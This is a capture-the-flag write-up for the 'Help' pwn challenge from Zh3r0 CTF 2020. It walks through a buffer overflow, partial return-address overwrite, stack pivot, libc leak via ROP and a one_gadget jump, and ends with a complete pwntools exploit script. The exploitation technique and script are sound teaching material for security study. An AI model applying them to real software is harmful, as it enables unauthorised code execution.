Zh3r0 CTF 2020
Help
We're given a binary with a few useful functions. The first of which:
What we have here is a read of up to 41 (0x29) bytes into a 32 byte buffer, giving us a 9 byte buffer overflow. This allows us to control rbp
and the last byte of the return address.
We can use the buffer overflow to change the last byte of 0x4007e5
to 0x17
, resulting in the function returning to 0x400717
which leads us to finallyyouhelpedme
:
Dump of assembler code for function finallyyouhelpedme:
0x0000000000400717 <+0>: push rbp
0x0000000000400718 <+1>: mov rbp,rsp
0x000000000040071b <+4>: sub rsp,0x20
0x000000000040071f <+8>: lea rdi,[rip+0x20095a] # 0x601080 <msg>
0x0000000000400726 <+15>: call 0x4005f0 <strlen@plt>
0x000000000040072b <+20>: mov rdx,rax
0x000000000040072e <+23>: lea rsi,[rip+0x233] # 0x400968
0x0000000000400735 <+30>: mov edi,0x1
0x000000000040073a <+35>: call 0x4005e0 <write@plt>
0x000000000040073f <+40>: mov edx,0x64
0x0000000000400744 <+45>: lea rsi,[rip+0x2009b5] # 0x601100 <helpishere>
0x000000000040074b <+52>: mov edi,0x0
0x0000000000400750 <+57>: call 0x400610 <read@plt>
0x0000000000400755 <+62>: lea rdi,[rip+0x244] # 0x4009a0
0x000000000040075c <+69>: call 0x4005d0 <puts@plt>
0x0000000000400761 <+74>: lea rax,[rbp-0x20]
0x0000000000400765 <+78>: mov edx,0x40
0x000000000040076a <+83>: mov rsi,rax
0x000000000040076d <+86>: mov edi,0x0
0x0000000000400772 <+91>: call 0x400610 <read@plt>
0x0000000000400777 <+96>: nop
0x0000000000400778 <+97>: leave
0x0000000000400779 <+98>: ret
This is actually useful! We can write 100 bytes of arbitrary data to a fixed address helpishere
(no PIE), then we can read 64 bytes into a 32 byte buffer, giving us a 32 byte buffer overflow.
Since we'll need a bit more than 32 bytes to do anything useful, we can take advantage of the 100 bytes we can write at helpishere
- perform a stack pivot and point rsp
at helpishere
.
To do this, we take advantage of leave
, which is equivalent to mov rsp, rbp; pop rbp
. The plan of attack is as follows:
- Using the buffer overflow in
finallyyouhelpedme
, write0x601100
(address ofhelpishere
) and0x400778
(address ofleave; ret
gadget) to the stack - Returning from
finallyyouhelpedme
the first time will result inrbp=0x601100
,rip=0x400778
asleave; ret
runs for the first time - Executing
leave; ret
a second time will then result inrsp=0x601100
, treating whatever data we wrote intohelpishere
as a stack frame. Note that the implicitpop rbp
inleave
andret
will also start reading data fromhelpishere
We can then use return-oriented programming to leak the address of a function in libc (the functions in pwntools makes it very easy!). My first attempt to leak the address by calling puts
results in a segmentation fault, so I used write(STDOUT, address)
instead. Although no gadget is available to set rdx
, the length parameter to write
, it turns out the current value of rdx
is good enough to leak the address (and a whole lot of junk after).
Having leaked the address of a function in libc, we can calculate the base address of libc, then calculate the address of a one_gadget.
But how do we actually redirect execution to the one gadget? Well, we could tack on 0x400761
to the end of the ROP chain above. This reads more data onto the stack again, which ret
at 0x400779
conveniently pops from. (The offset of 40 in the script below was identified by writing in a De Bruijn sequence and observing what value gets written into rip
).
from pwn import *
context.clear(arch="amd64")
BINARY = "./chall2"
e = ELF(BINARY)
# r = process(BINARY)
r = remote('asia.pwn.zh3r0.ml', 7412)
libc = ELF('libc.so.6')
gdb.attach(r, """
continue
""")
# b *finallyyouhelpedme+97
p = lambda x: p64(x).decode("latin-1")
# BOF at ok, overwrite last byte of return address to jump to `finallyyouhelpedme`
r.send("A" * 40 + '\x17')
# create fake stack frame
payload = p(e.symbols["helpishere"]) # next rbp
rop = ROP(e)
rop.write(1, e.got["puts"])
payload += rop.chain().decode("latin-1")
payload += p(0x400761) # jump back to enable second BOF to make use of leak
log.info(f'Payload length: {len(payload)}')
r.sendafter("good person.", payload)
# BOF to actually start reading from fake stack frame
payload = "A" * 32
# rbp = *helpishere
payload += p(e.symbols["helpishere"])
# rip = `leave; ret;`
payload += p(0x400778)
# after second `leave`, rsp = *helpishere+8
r.sendafter("your name? \n", payload)
# read the address leaked by the fake stack frame
addr_puts = u64(r.recv(6) + b'\x00\x00')
log.info(f'addr_puts={hex(addr_puts)}')
# compute address of one gadget, then BOF again to jump to it
libc.address = addr_puts - libc.symbols["puts"]
log.info(f'libc base address={hex(libc.address)}')
OFFSET_GADGET = 0x4f322
r.sendline("A" * 40 + p(libc.address + OFFSET_GADGET))
r.interactive()